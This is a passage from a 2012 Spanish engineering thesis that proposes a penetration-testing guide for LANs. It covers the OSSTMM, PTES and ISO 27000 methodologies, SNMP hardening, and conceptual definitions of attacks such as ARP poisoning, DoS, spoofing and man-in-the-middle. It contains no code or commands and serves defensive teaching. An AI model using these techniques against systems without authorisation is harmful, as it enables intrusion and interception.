Sie sind auf Seite 1von 103

DISEO E IMPLEMENTACIN DE UNA GUIA TCNICA PARA LA

REALIZACIN DE PRUEBAS DE PENETRACION Y EVALUACION DE LA


SEGURIDAD INFORMATICA EN UNA RED DE COMPUTADORES LAN 1.

JACQUES ELOITE BERDEJO GUTIRREZ

UNIVERSIDAD AUTONOMA DEL CARIBE


PROGRAMA DE INGENIERIA
FACULTAD DE INGENIERIA ELECTRNICA Y TELECOMUNICACIONES
BARRANQUILLA
2012

LAN: Local Area Network (Red de rea Local)

DISEO E IMPLEMENTACIN DE UNA GUIA TCNICA PARA LA


REALIZACIN DE PRUEBAS DE PENETRACION Y EVALUACION DE LA
SEGURIDAD INFORMATICA EN UNA RED DE COMPUTADORES LAN 2.

JACQUES ELOITE BERDEJO GUTIRREZ

TRABAJO DE GRADO PARA OPTAR EL TTULO DE INGENIERO


ELECTRNICO Y DE TELECOMUNICACIONES

DIRECTOR DE PROYECTO:
ASESOR METODOLOGICO:

UNIVERSIDAD AUTONOMA DEL CARIBE


PROGRAMA DE INGENIERIA
FACULTAD DE INGENIERIA ELECTRNICA Y TELECOMUNICACIONES
BARRANQUILLA
2012

LAN: Local Area Network (Red de rea Local)

ABSTRACT
Hoy en da las pruebas de penetracin y las auditorias de seguridad informtica son
paradigmas de las tecnologas de la informacin que se realizan bajo diferentes plataformas
con herramientas avanzadas para identificar, detectar y explotar cualquier vulnerabilidad
que no se haya descubierto en un entorno de red determinado. Aplicando las metodologas
apropiadas junto con unos objetivos definidos y un plan de pruebas programado
meticulosamente obtendramos una prueba de penetracin slida sobre cualquier red de
computadores.

Esta gua de referencia tcnica est enfocada en proporcionar una orientacin sobre el
desarrollo de habilidades prcticas de pruebas de penetracin, por medio de herramientas
hackers de vanguardia, as como tambin, diversas tcnicas y estrategias desarrolladas paso
a paso y de

forma coherente. Adems, se mostraran procedimientos y escenarios de

ataques de intrusin en una red de computadores, con el fin de reflejar ejemplos reales.

Tambin se explicar la forma de instalacin y configuracin de las diferentes herramientas


usadas en las pruebas de penetracin, se discutir sobre los diferentes tipos de pruebas de
penetracin, metodologas para descubrir los agujeros de seguridad y un grupo de
herramientas de valoracin necesarias para dirigir la prueba de penetracin a travs de sus
respectiva categoras como lo son: alcance del objetivo, recopilacin de la informacin,
descubrimiento del objetivo, enumeracin, mapas de las vulnerabilidades, la ingeniera
social, la explotacin, la escalada de privilegios, el mantenimiento del acceso y generacin
de informes.

ABSTRACT (ingles)
Today, penetration

testing

and IT

security audits are paradigms

of information

technologies that are performed under different platforms with advanced tools to identify,
detect and exploit any vulnerability that dont has been discovered in a given network.
Applying appropriate methodologies with defined objectives and a carefully planned test
plan would get a solid penetration test on any computer network.

This reference guide is focused on providing technical guidance in the development of


practical skills of penetration tests through cutting-edge tools hackers, as well as, various
techniques and strategies developed step by step and consistently. Also, procedures
and scenarios in intrusion attacks in a computer network are shown, in order to reflect real
examples.

It will also explain how to install and configure the different tools used in penetration
testing, will discuss about the different types of penetration testing methodologies to
discover security holes and a group of assessment tools needed to run the test penetration
through their respective categories such as: target scoping, Gathering information, Target
discovery, Enumerating Target, Vulnerability mapping, social engineering, exploitation,
privilege escalation, maintaining access and reporting.

RESUMEN ANALTICO EJECUTIVO ( R.A.E.)

TITULO:
DISEO E IMPLEMENTACIN DE UNA GUIA TCNICA PARA LA REALIZACIN
DE PRUEBAS DE PENETRACION Y EVALUACION DE LA SEGURIDAD
INFORMATICA EN UNA RED DE COMPUTADORES LAN

TIPO DE DOCUMENTO:
Trabajo de Grado para optar el ttulo de Ingeniero en Electrnica y Telecomunicaciones

AUTOR:
Jacques Eloite Berdejo Gutirrez

ENTIDAD O EMPRESA:
Hospital Municipal de Sabanagrande

LUGAR Y FECHA PRESENTACIN:


Universidad Autnoma Del Caribe
Junio 13 de 2012
5

PALABRAS CLAVES:
Pruebas de

penetracin (Pen-Testing),

Seguridad Informtica,

Redes de

computadores, Sistemas operativos, Exploits, Payloads, Virus, Shellcode, Mdulo,


Listener, vulnerabilidades, amenazas, ataques, protocolos, TCP/IP, Capas OSI,
estndares internacionales.

DESCRIPCIN DEL CONTENIDO:


En este proyecto se muestran las diferentes formas de realizar las pruebas de penetracin
para la seguridad informtica, con el fin de encontrar posibles fallas a nivel de red, software
y servicios en una empresa totalmente sistematizada.

Se abordan temas tales como la utilizacin de ciertas aplicaciones informticas, que tienen
como finalidad ayudar al ingeniero o al profesional de TI, encargado de administrar el
correcto funcionamiento de una red de computadores, a encontrar amenazas y agujeros en
la seguridad de la red. La importancia de esto en hallar dichas fallas y mitigar su impacto a
un mnimo; debido a que existe la posibilidad de que se pierda o sea robada informacin
vital de la empresa, la cual hoy en da es valorada como un activo muy valioso

METODOLOGA:
La verificacin de la validez de las tcnicas empleadas para la recoleccin de datos es
necesaria para asegurar un proyecto veraz, confiable y que este dentro de los cnones que
se dictan en la seguridad informtica. Se realizaran observaciones objetivas y exactas, para
describir, analizar e interpretar los datos obtenidos, en trminos claros y precisos.
6

FUENTES:

PRIMARIAS:
Libros, documentos, revistas, pginas Web, artculos, enciclopedias, manuales,
catlogos.

SECUNDARIAS:
Entrevistas no formales, visitas, observacin directa, pruebas en laboratorio

TIPO DE ESTUDIO:
Para el desarrollo de la investigacin es necesario emplear una metodologa idnea, la cual
sea apropiada para el tipo de proyecto que permita alcanzar los objetivos propuestos y
solucionar el interrogante central al igual que las inquietudes surgidas durante el desarrollo
del proyecto.

En el presente estudio se emplea la investigacin descriptiva porque se fundamenta sobre


realidades de hecho. Esta describe, analiza e interpreta la naturaleza actual del fenmeno en
estudio. Adems, El objetivo de la investigacin descriptiva consiste en llegar a conocer las
situaciones, costumbres y actitudes predominantes a travs de la descripcin exacta de las
actividades, objetos, procesos y personas. Su meta no se limita a la recoleccin de datos,
sino a la prediccin e identificacin de las relaciones que existen entre dos o ms variables.
Los investigadores no son meros tabuladores, sino que recogen los datos sobre la base de
7

una hiptesis o teora, exponen y resumen la informacin de manera cuidadosa y luego


analizan minuciosamente los resultados, a fin de extraer generalizaciones significativas que
contribuyan al conocimiento.

MTODO DE INVESTIGACIN:
Las pruebas de penetracin son un tema ya usado a nivel mundial y sobre el cual se ha
realizado toda clase de experimentacin y aplicaciones, de tal manera que la tecnologa
actual nos permite obtener hoy en da metodologas y herramientas tcnicas poderosas;
podemos decir que este proyecto inicia desde una base experimental muy bien especificada
y documentada, la cual nos da unos planteamientos tericos y una determinada situacin
tangible que, mediante la posterior integracin de elementos presentes en ella, podemos
hallarle una solucin a las necesidades identificadas en la descripcin del problema de este
anteproyecto. Por lo tanto emplearemos el mtodo deductivo como mtodo de
investigacin.

NOTA DE ACEPTACION

APROBADO

Ing. _____________________
Presidente del Jurado

Ing. ____________________
Jurado

Barranquilla, Mayo de 2012

DEDICATORIAS

10

AGRADECIMIENTOS

11

Tabla de Contenido

LISTA DE FIGURAS .......................................................................................................... 13


1.

INTRODUCCIN ........................................................................................................ 14

2.

DESCRIPCION DEL PROBLEMA. ............................................................................ 15


2.1.

PLANTEAMIENTO DEL PROBLEMA. ............................................................. 15

2.2.

IMPACTO ESPERADO. ...................................................................................... 16

2.3.

USUARIOS DIRECTOS E INDIRECTOS .......................................................... 17

2.4.

MARCO TEORICO Y ESTADO DEL ARTE ..................................................... 18

2.5.

OBJETIVOS .......................................................................................................... 42

2.6.

METODOLOGA PROPUESTA.......................................................................... 43

3.

ANLISIS DE RESULTADO Y PROPUESTA INGENIERIL ................................ 45

4.

CONCLUSIONES Y RECOMENDACIONES ......................................................... 100

5.

BIBLIOGRAFIA........................................................................................................ 101

12

LISTA DE FIGURAS

Figura 1. Ventana Principal de Nessus


Figura 2. Ventana de configuracin de polticas
Figura 3. Configuracin general.
Figura 4. Seleccionando los plug-ins para el escaneo
Figura 5. Las nuevas polticas aadidas a Nessus
Figura 6. Configurando un escaneo en Nessus
Figura 7. Resumen del reporte del escaneo y puertos encontrados
Figura 8. Log mostrado en el editor de texto kate

13

1. INTRODUCCIN
El rea de las telecomunicaciones enfocada a los

sistemas de redes e internet ha

evolucionado vertiginosamente permitiendo a los investigadores y conocedores de la


materia el desarrollo de innumerables cantidades de dispositivos y que facilitan de gran
manera algunas labores del ser humano. Este tipo de sistemas garantiza en su mayora un
muy buen rendimiento y confiabilidad, a travs de un de control de acceso a sus recursos
por parte de los usuarios internos o externos, de tal forma que disminuye las brechas de
seguridad al mnimo, mermando as los errores generados por la por la accin del hombre

En las redes de computadores e internet son importantes los controles de acceso y las
polticas de seguridad aplicados sobre los servicios y recursos que poseen los servidores de
una determinada empresa, puesto que de ellos depende en gran medida la confidencialidad,
la preservacin y la integridad de los datos vitales de esta. Hoy en da existen aplicaciones
las cuales son muy usadas para comprobar si las polticas de seguridad y los controles que
realizan los administradores sobre la red, poseen agujeros o fallas. Es precisamente en este
proyecto en donde hacemos uso de la tecnologa informtica existente en el campo de la
seguridad de la informacin y las pruebas de penetracin para desarrollar esta propuesta.

La proliferacin de ataques mediante los virus y las amenazas que ello implica sobre una
red, y por ende sobre sus datos; nos permitieron desarrollar un gua tcnica para la
realizacin de pruebas de penetracin y la evaluacin de la seguridad informtica en una
red de computadores, basada sobre ciertas herramientas de alto rendimiento como lo son

14

BackTrack y Metasploit Framework. Esto con el fin de cumplir los objetivos planteados en
este documento. La idea general del proyecto es la de facilitar la tarea de los
administradores de red y a los profesionales de TI (Tecnologas de la Informacin) con
escasos o nulos conceptos sobre este tema; de tal forma que estos puedan mitigar los
errores intrnsecos .

2. DESCRIPCION DEL PROBLEMA.


2.1. PLANTEAMIENTO DEL PROBLEMA.
Las organizaciones se han visto en la necesidad de conectarse en red para aumentar el
rendimiento de sus procesos y compartir tanto recursos como informacin, actividades
que les permiten alcanzar de manera acelerada sus objetivos econmicos. Asimismo, se
han visto en la imperante necesidad de conectarse a la Internet para poder llegar a
mayor cantidad de clientes y posibles consumidores. Sin embargo, esta conexin entre
computadores y la apertura a la red trae como consecuencia la posibilidad de ser
vulnerables ante personas malintencionadas cuyo propsito puede ser tanto el robo de
informacin, como la simple destruccin de protocolos, estndares y procesos de las
empresas, ya que el uso de dispositivos compartidos lleva como consecuencia inevitable
la apertura de puertos y agujeros en los esquemas de conexin.

Esta problemtica nos lleva a pensar en que las redes deben ser administradas y
vigiladas de una manera eficiente y cuidadosa por personal calificado en la seguridad de
las mismas. Y no solo esto, como las redes son manipuladas por usuarios, muchas veces
15

las herramientas usadas para su proteccin no son suficientes para que los usuarios, sea
por error o con intencin, no generen vulnerabilidades y posibles daos a la red.

Por esta razn es que el administrador de la red debe tener conocimiento de las diversas
polticas que pueden y deben instaurarse en una organizacin para proteger su
informacin. Esta gua tcnica est dirigida principalmente a formar las competencias
necesarias que habilitan a un administrador de red para proteger, controlar, politizar y
volver eficiente, la transferencia y uso de la informacin en las redes.

2.2. IMPACTO ESPERADO.


De forma general con este proyecto se espera que se haga conciencia en el Ingeniero
Electrnico y Telecomunicaciones, y en el de sistemas; acerca de la seriedad que se
debe tener en la seguridad de los datos en las redes corporativas. Adems, que se
manejen adecuadamente las diferentes metodologas en pruebas de penetracin, se
conozca el uso de las herramientas ms utilizadas en este proceso; con el fin de prestar
un servicio ptimo de seguridad informtica en cualquier red corporativa.
Particularmente ste intenta introducir, inicialmente, al estudiante de pregrado en
ingeniera de Sistemas, Electrnica o cualquier rama afn, a la seguridad en las
tecnologas de la informacin, de modo que los usuarios encuentren en ella una
herramienta de continuidad, confiable y eficiente, para la bsqueda de vulnerabilidades
y sus posibles soluciones. De esta forma se aporta a las empresas el beneficio de una

16

poltica de buenas prcticas de seguridad informtica adecuada, controlada mediante un


recurso humano preparado para tal cometido. La administracin de los recursos
informticos y tecnolgicos se realizar confiablemente debido a los procesos que se
describirn aqu.

2.3. USUARIOS DIRECTOS E INDIRECTOS


Este proyecto es planteado inicialmente con el objetivo de facilitar la comprensin, de
las diferentes metodologas aplicadas en las pruebas de penetracin, a los estudiantes de
las ingenieras relacionadas con las tecnologas de la informacin. Sin embargo, otras
entidades pueden beneficiarse directamente de la ejecucin de este proyecto, mediante
la realizacin de laboratorios de pruebas de dichas tcnicas. Los administradores de
red, los estudiantes de certificaciones (CEH3, CISSP4, CISA5, CCSP6, etc.) y los
administradores seguridad de TI; son otros usuarios directos que se pueden beneficiar
con este material. Con esto en mente, se buscar realizar este proyecto de forma
eficiente y confiable, puesto que est siendo diseado teniendo en cuenta los estndares
implicados en el proceso de la bsqueda de vulnerabilidades.

El sector empresarial se beneficiar de forma indirecta, porque los egresados de la


Universidad Autnoma del Caribe u otras universidades, podran aplicar estas

Certified Ethical Hacker: es una certificacin profesional promovida por el Consorcio Internacional de
Consultas de Comercio Electrnico
4
Certified Information Systems Security Professional: es una certificacin de seguridad de la informacin
profesional otorgada por la International Information Systems Security Certification Consortium",
5
Certified Information Systems Auditor (CISA) es una certificacin para auditores de sistemas de informacin
6
Cisco Certified Security Professional: certificacin de seguridad para dispositivos y sistemas basados en cisco
3

17

metodologas en las redes de computadores de estas. Tambin aquellas personas


capacitadas en carreras tcnicas o tecnolgicas relacionadas con las redes de
computadores y tecnologas de la informacin, puesto que hoy en da no solo basta con
saber instalar y configurar una red, sino tambin asegurar su funcionamiento y proteger
su informacin de acuerdo a las especificaciones de seguridad informtica actual.

2.4. MARCO TEORICO Y ESTADO DEL ARTE


Debido a la disposicin geogrfica y a los mltiples equipos y sistemas que conforman
una red, con toda seguridad nos atreveramos a decir que es un marco idneo para
posibles ataques y operaciones no autorizadas. El uso malicioso de las redes para
afectar tanto a la seguridad de los sistemas como la validez de la informacin que se
almacena o se transfiere. Modificar y falsificar un documento electrnico es mucho
ms sencillo de hacerlo sobre un documento escrito en papel. As mismo, debido al
acceso remoto, es sumamente fcil realizar una intrusin en una red que no posee unas
polticas de seguridad establecida de forma predeterminada.

Dichas vulnerabilidades de las redes de computadoras hace necesario introducir ciertas


medidas que las protejan contra usos maliciosos. Ello se consigue con una adecuada
aplicacin de las tcnicas de seguridad en redes, en donde la determinacin de las
vulnerabilidades y los mecanismos criptogrficos juegan un rol importante a la hora de
establecer la seguridad de los datos y la infraestructura de la red.

18

Inicialmente, el termino seguridad en redes no tiene un concepto distinto, del que


asociamos de forma cotidiana, a la seguridad. Como bien sabemos este concepto se
refiere a la bsqueda de proteccin basada en ciertos elementos de soporte. Por ejemplo
la seguridad que poseen los ciudadanos en las calles la presta la Polica Nacional, la de
una casa la puede prestar un sistema de alarmas y cmaras de vigilancia, etc. De igual
forma, en las redes informticas se utilizan diversos elementos para sostener la
integridad de los datos y la configuracin lgica de sta.

Lo que se pretende es minimizar las vulnerabilidades de los sistemas en su conjunto,


puesto que la seguridad en redes no es total; recuerde que todo diseo de software posee
bug7, los cuales son aprovechados por aquellas personas malintencionadas. As
tambin, debemos tener en cuenta que cuando se construye un escudo protector
contra determinados ataques, siempre ser posible romper ese escudo; entonces cabe la
pregunta: Cmo debemos actuar desde un esquema de ingeniera para resolver el
problema? La respuesta correcta ser la de implantar unas medidas de seguridad que
sean proporcionales a lo que se intenta proteger; es decir se debe planificar, pronosticar
y predeterminar las contingencias y protecciones de acuerdo a las necesidades del o los
sistemas.

Antes de pasar a las metodologas de las pruebas de penetracin, debemos conocer los
diferentes conceptos y prerrequisitos relacionados con esta prctica. Este campo de

Un defecto de software, es el resultado de un fallo o deficiencia durante el proceso de creacin de programas de


computadora (software)
7

19

accin del ingeniero en este tema es muy amplio, cubre una gran cantidad de
informacin y conocimientos, que debemos dominar, para llevar a buen trmino nuestra
tarea de planificacin y puesta en marcha.

En la actualidad la tecnologa que se maneja en los grandes escenarios suelen estar


compuestos por diferentes servidores bajo plataformas como Unix, Solaris, Linux,
FreeBSD, Ubuntu, OpenBSD o Windows Server. Por lo tanto, no es recomendable
conocer y administrar una plataforma nica si estamos decididos a abordar la seguridad
informtica en cuestiones tcnicas o bien formar parte de un equipo.

Los chequeos de seguridad se pueden llevar a cabo desde diferentes sistemas


operativos, pero teniendo en cuenta que no todos ofrecen las mismas herramientas,
condiciones de trabajo y versatilidad. Para mejorar nuestros conocimientos debemos
aprender a administrar estos sistemas operativos, conocer cmo funcionan, su
configuracin segura y de red, su estructura interna, los comandos usuales y los
avanzados, los controles que tiene, sus logs o archivos de auditora, cmo instalar
aplicaciones en l y tambin desinstalarlas, como actualizarlo, parchearlo o modificarlo
de acuerdo a nuestros inters, ver la estructura y las limitaciones en los privilegios de
cada grupo de usuarios.

Lgicamente, para aprender a administrar un servidor, ya sea Unix, Linux o Windows,


primero hay que instalarlo. Luego se deben utilizar sus comandos y estudiar su
estructura interna, gestionar los usuarios del sistema y sus diferentes permisos, conocer
20

cada servicio nativo y deshabilitar aquellos que sean innecesarios, crear relaciones de
confianza entre componentes en red a travs de diversos mtodos. Tambin, auditar sus
archivos de registro, conocer bien los logs y cul es la informacin relevante que se
deposita en ellos, intentar el filtrado de protocolos y conexiones externas, mantener
actualizado todo lo posible (incluido el kernel en el caso de Linux), determinar qu
cosas no pueden dejarse por defecto (como passwords, usuarios, aplicaciones,
directorios, privilegios, configuraciones y archivos), probar aplicaciones y tecnologas
usuales como apache, mysql u openssl, etc.

De este modo, se comienzan a aplicar los mtodos de hardening8, se van adquiriendo


nociones de administracin avanzada. A su vez, esto nos ayuda a conocer las
caractersticas dbiles de un sistema instalado por defecto, lo que nos permitir
reconocerlas fcilmente en los futuros escenarios en los que estemos involucrados. La
instalacin y la administracin seguras de servidores llevada a cabo de un modo
realmente eficiente, ayudar a prevenir la intromisin en el sistema (a travs del sistema
operativo) de alguien no autorizado. Un sistema operativo es apenas una puerta entre la
decena de posibilidades.

Existen otros conocimientos y habilidades que debemos dominar, adems de los


sistemas operativos. Los dispositivos utilizados en la interconexin de equipos
terminales o entre redes, juegan un papel importante en este tema. Los Switches,
Routers, Hubs, Firewalls y puntos de acceso inalmbricos (Wireless AP) son otros
8

Volver ms seguro al servidor

21

equipos que traen consigo sus propias vulnerabilidades intrnsecas en sus softwares.
Como bien sabemos, la mayora de estos dispositivos trabajan en diferentes niveles del
modelo de referencia OSI9; por lo tanto, ejecutan diferentes protocolos de servicios para
cumplir con su tarea.

As pues podemos tomar como ejemplo uno de estos protocolos en particular como lo
es el SNMP10, este es un protocolo del nivel de aplicacin (nivel 7) que facilita el
intercambio de informacin de administracin entre dispositivos de red. Es parte de la
familia de protocolos TCP/IP, este permite a los administradores supervisar el
funcionamiento de la red, buscar y resolver sus problemas, y planear su crecimiento.
Actualmente est en su versin 3.

SNMP puede utilizarse de varias maneras:

Para configurar dispositivos remotos: desde el NMS11 configuramos los


equipos.

Para supervisar el rendimiento de la red: se puede hacer un seguimiento de la


velocidad de la red

Para detectar fallos de red: Puede llevar una alarma al NMS cuando se apague un
dispositivo o se detecte un error de enlace con un router

Para auditar el uso de la red: Se puede auditar el uso de los equipos por sus
usuarios.

Open System Interconnection (Interconexin de Sistemas Abiertos - ISO)


Simple Network Management Protocol (Protocolo Simple para la Administracin de Redes)
11
Network Management Station (Estacin de Administracin de Red)
10

22

Los administradores deben implementar claves de seguridad y de autenticacin para


evitar la intercepcin de estos mensajes, puesto que estos viajan a travs de la red sin
ningn tipo de encriptacin, en el caso de SNMPv1 y v2. Deben deshabilitarse en los
Switches y Routers que posean esta herramienta la configuracin por defecto (default);
adems, es poco recomendable trabajar con el protocolo de trasporte UDP 12 que utiliza
SNMP.

Antes de pasar a definir los diferentes tipos de ataques, se hace imprescindible hablar de
los estndares internacionales que controlan la seguridad informtica. Estos estn
encargados de asegurar los servicios de prevencin de riesgos y de asistencia a los
tratamientos de incidencia, como es el CERT/CC (Computer Emergency Response
Team/Coordination Center) del SEI (Software Engineering Institute) de la Carnegie
Mellon University; el cual proporciona dos mtodos para la evaluacin de riesgos en las
organizaciones; los cuales son el Mtodo OCTAVE y el Mtodo CURE. Estos poseen
cierto nmero de fases y procesos que permiten reducir los riesgos de ataques. As pues,
si tomamos el mtodo OCTAVE, los procesos, con sus respectivas fases, que estaran
involucrados en la bsqueda, anlisis y valoracin de vulnerabilidades serian: el
proceso 4 de la Fase I ; los procesos 5 y 6 de la Fase II.

12

User Datagram Protocol Protocolo de datagramas de usuarios

23

Otra norma para la seguridad informtica es la ISO/IEC 27000. Esta norma proporciona
una visin general de las normas que componen la serie 27000, una introduccin a los
Sistemas de Gestin de Seguridad de la Informacin (SGSI); una breve descripcin del
proceso Plan-Do-Check-Act; trminos y definiciones que se emplean en toda la serie.
La serie ISO/IEC 27000 establece una gua de buenas prcticas que describe los
objetivos de control y controles recomendables en cuanto a seguridad de la
informacin. La norma ISO 27005:2008 contiene un anexo (Anexo D) que resume los
mtodos y ejemplos para valorar las vulnerabilidades tcnicas.

Existen dos metodologas confiables que a travs del tiempo han ganado reputacin en
el sector de la seguridad informtica y en particular en las pruebas de penetracin, estas
son: OSSTMM (Open Source Security Testing Methodology Manual) y PTES
(Penetration Testing Execution Standart).

La primera de ellas es una metodologa estndar profesional completa y comnmente


utilizada en Auditoras de Seguridad para revisar la Seguridad de los Sistemas. Es un
conjunto de reglas y lineamientos para cundo, qu y cules eventos son testeados. Esta
metodologa cubre nicamente las pruebas de seguridad externas, es decir, testear la
seguridad desde un entorno no privilegiado hacia un entorno privilegiado, para evadir
los componentes de seguridad, procesos y alarmas y ganar acceso privilegiado.
Adems, incluye un marco de trabajo que describe las fases que habra que realizar para
24

la ejecucin de la auditora. Este manual se ha logrado gracias a un consenso entre ms


de 150 expertos internacionales sobre el tema, que colaboran entre s mediante Internet.
Se encuentra en constante evolucin y actualmente se compone un documento que
rene, de forma estandarizada y ordenada, las diversas verificaciones y pruebas que
debe realizar un profesional de la seguridad informtica durante el desarrollo de las
auditoras y verificaciones de la seguridad. Actualmente se compone de las siguientes
fases:

Seccin A -Seguridad de la Informacin

1. Revision de la Inteligencia Competitiva


2. Revision de Privacidad
3. Recoleccin de Documentos

Seccin B - Seguridad de los Procesos

1. Pruebas de Solicitud
2. Pruebas de Sugerencia Dirigida
3. Pruebas de las Personas Confiables

Seccin C - Seguridad en las tecnologas de Internet

1. Logstica y Controles
2. Exploracin de Red
3. Identificacin de los Servicios del Sistema

25

4. Bsqueda de Informacin Competitiva


5. Revisin de Privacidad
6. Obtencin de Documentos
7. Bsqueda y Verificacin de Vulnerabilidades
8. Pruebas de Aplicaciones de Internet
9. Enrutamiento
10. Pruebas de Sistemas Confiados
11. Pruebas de Control de Acceso
12. Pruebas de Sistema de Deteccin de Intrusos
13. Pruebas de Medidas de Contingencia
14. Descifrado de Contraseas
15. Pruebas de Denegacin de Servicios
16. Evaluacin de Polticas de Seguridad

Seccin D - Seguridad en las Comunicaciones

1. Pruebas de PBX
2. Pruebas del Correo de Voz
3. Revisin del FAX
4. Pruebas del Modem

Seccin E - Seguridad Inalmbrica

1. Verificacin de Radiacin Electromagntica (EMR)


2. Verificacin de Redes Inalmbricas [802.11]
26

3. Verificacin de Redes Bluetooth


4. Verificacin de Dispositivos de Entrada Inalmbricos
5. Verificacin de Dispositivos de Mano Inalmbricos
6. Verificacin de Comunicaciones sin Cable
7. Verificacin de Dispositivos de Vigilancia Inalmbricos
8. Verificacin de Dispositivos de Transaccin Inalmbricos
9. Verficacin de RFID
10. Verificacin de Sistemas Infrarrojos
11. Revisin de Privacidad

Seccin F - Seguridad Fsica

1. Revisin de Permetro
2. Revisin de monitoreo
3. Evaluacin de Controles de Acceso
4. Revisin de Respuesta de Alarmas
5. Revisin de Ubicacin
6. Revisin de Entorno

La segunda en mencin es un estndar que esta redefiniendo la forma de realizar las


pruebas de penetracin, afectando tanto a los nuevos como a los ms experimentados
en esta rea y que ha sido adoptado por varios miembros destacados de la comunidad
de seguridad informtica. Este tiene por objeto definir y crear conciencia sobre el
27

significado de una prueba de penetracin. La PTES se basa en una lnea bsica de


principios fundamentales que se requieren para llevar a cabo una prueba de
penetracin. Las fases que definen este estndar se describen ms adelante en el
presente proyecto.

En este documento no haremos una explicacin detallada de cada norma, con sus
respectivos anexos, fases y procesos; porque est fuera del alcance del proyecto. Para
una mejor comprensin de ellos refirase a las siguientes direcciones web:
http://www.cert.org/octave,

http://www.iso27000.es/,

http://www.pentest-

standard.org/, http://www.isecom.org/

Actualmente existen un sin nmero de amenazas y ataques en la red, contra los cuales
debemos saber hacerle frente. Para esto, el conocimiento que tenemos de ellos es el
arma primordial que debe tener todo administrador de seguridad informtica.

En los siguientes prrafos se abordaran una serie de conceptos claves que permitirn
entender ms adecuadamente el problema y establecer un vocabulario con el que
referirse a los diferentes aspectos. La conceptualizacin y terminologa que se utilizar
pertenece en su mayor parte a la norma genrica.

28

Una amenaza (threat, en ingles) se define como cualquier violacin potencial de la


seguridad. La informacin que circula, se procesa y se almacena en una red est
sometida a varios tipos de amenaza que pueden ser clasificadas, principalmente, en
cuatro grupos:

i.

Destruccin de la informacin u otros recursos, quedando estos inutilizados o


desaparecida la informacin que ellos contenan

ii.

Modificacin de la informacin, produciendo aadidos, sustracciones o


permutaciones entre sus distintas partes.

iii.

Robo de informacin o publicacin indebida de sta, de forma que personas


diferentes a las legtimas implicadas tengan conocimientos de ella.

iv.

Interrupcin del servicio, consistente en que un determinado usuario deja de


tener acceso a un recurso o servicio de red.

Por otra parte, las amenazas pueden ser accidentales o intencionales. Amenazas
accidentales son aquellas que aparecen de forma no premeditada: disfunciones en los
sistemas, fallos de software, operaciones indebidas por parte de algn usuario inexperto,
etc. El mtodo para su tratamiento y prevencin debe ser similar a los procedimientos
que se siguen en el caso de sistemas informticos aislados: revisin peridica de los
equipos, prueba del correcto funcionamiento de los programas informticos,
mantenimiento de las instalaciones, formacin adecuada del personal para evitar errores

29

humanos, etc. Debern ser tenidas en cuenta en un Anlisis de Riesgos global, pero su
incidencia en los protocolos especficos de seguridad es secundaria.

Las amenazas intencionales presuponen la participacin maliciosa de un sujeto o


entidad que pretende hacer un uso indebido de la red. Una amenaza intencional se
denomina ataque. Estos se clasifican en ataques activos y ataques pasivos. Los
primeros son aquellos que alteran el comportamiento normal del recurso o servicio
teleinformtico que est siendo atacado: una informacin desaparece, o es cambiada, o
un sistema enva datos hacia direcciones no previstas, etc. Los ataques pasivos, el
atacante no altera la comunicacin, slo la escucha o monitoriza, para obtener
informacin. Por tanto este tipo de ataques suelen usar tcnicas de escucha de paquetes
(sniffing) y de anlisis de trfico, son difciles de detectar ya que no implican alteracin
de los datos. Se pueden prevenir mediante el cifrado de la informacin.

Entre los tipos de ataques ms significativos que pueden presentarse en el entorno de


redes, se pueden destacar la suplantacin de identidad en lnea, o phishing (pronunciado
como la palabra inglesa fishing), es una forma de engaar a los usuarios para que
revelen informacin personal o financiera mediante un mensaje de correo electrnico o
sitio web fraudulento. Normalmente, una estafa por suplantacin de identidad empieza
con un mensaje de correo electrnico que parece un comunicado oficial de una fuente
de confianza, como un banco, una compaa de tarjeta de crdito o un comerciante en
30

lnea reconocido. En el mensaje de correo electrnico, se dirige a los destinatarios a un


sitio web fraudulento, donde se les pide que proporcionen sus datos personales, como
un nmero de cuenta o una contrasea. Despus, esta informacin se usa para el robo de
identidad.

Seguidamente

podemos

nombrar

la

denegacin

de

servicio

llamado

ataque DoS (Denial of Service), es un ataque a un sistema de computadoras o red que


causa que un servicio o recurso sea inaccesible a los usuarios legtimos. Normalmente
provoca la prdida de la conectividad de la red por el consumo del ancho de banda de la
red de la vctima o sobrecarga de los recursos computacionales del sistema de la
vctima. Se genera mediante la saturacin de los puertos con flujo de informacin,
haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso
se le denomina "denegacin", pues hace que el servidor no d abasto a la cantidad de
solicitudes. Esta tcnica es usada por los llamados Crackers para dejar fuera de servicio
a servidores objetivo.

El spoofing es un ataque que se basa en actuar en el nombre de otro usuario tal y como
si fuese l mismo. Este ataque se pueden realizar por diferentes protocolos, arrojando
variantes de ste, tales como: IP Spoofing, ARP Spoofing, DNS Spoofing, Web
Spoofing y Mail Spoofing.

31

El sniffing es un ataque realmente efectivo, puesto que permite la obtencin de gran


cantidad de informacin sensible enviada sin encriptar, como por ejemplo: usuarios,
claves, direcciones de e-mail, nmeros de tarjetas de crditos, etc.

Una tcnica usada para infiltrarse en una red Ethernet conmutada (basada en switch y
no en hubs) es el ARP Poissoning, el cual puede permitir al atacante husmear paquetes
de datos en la LAN, modificar el trfico, o incluso detenerlo. El principio del ARP
Spoofing es enviar mensajes ARP falsos (falsificados, o spoofed) a la Ethernet.
Normalmente la finalidad es asociar la direccin MAC del atacante con la direccin
IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace
predeterminada (gateway). Cualquier trfico dirigido a la direccin IP de ese nodo, ser
errneamente enviado al atacante, en lugar de a su destino real.

El SSH Fingerprint es una tcnica que permite extraer informacin de un sistema


concreto a travs del fingerprint, es decir, la obtencin de su huella identificativa
respecto a la pila TCP/IP. Un fingerprint son unas huellas digitales en la pila TCP/IP.
Es una coleccin pasiva de configuraciones y atributos que posee un dispositivo remoto
durante una comunicacin estndar de la capa 4 del modelo OSI en una red. La
combinacin de los parmetros pueden ser usados para interferir en una maquina
remota con un sistema operativo determinado.

32

Otra tcnica muy comn es el Man-in-the-middle (Hombre en el medio) es un ataque en


el que el enemigo adquiere la capacidad de leer, insertar y modificar a voluntad, los
mensajes entre dos partes sin que ninguna de ellas conozca que el enlace entre ellos ha
sido violado. El atacante debe ser capaz de observar e interceptar mensajes entre las dos
vctimas, colocndose entre el medio del servidor y el host de la vctima, de ah viene su
nombre.

Podemos seguir hablando de los diferentes tipos de ataque, pero son demasiados para
abordarlos en este documento. De igual forma, podemos decir lo mismo de los
programas maliciosos creados para cumplir con el cometido de infiltrarse en las redes,
tales como gusanos, caballos de Troya, backdoors, etc. Podemos encontrar informacin
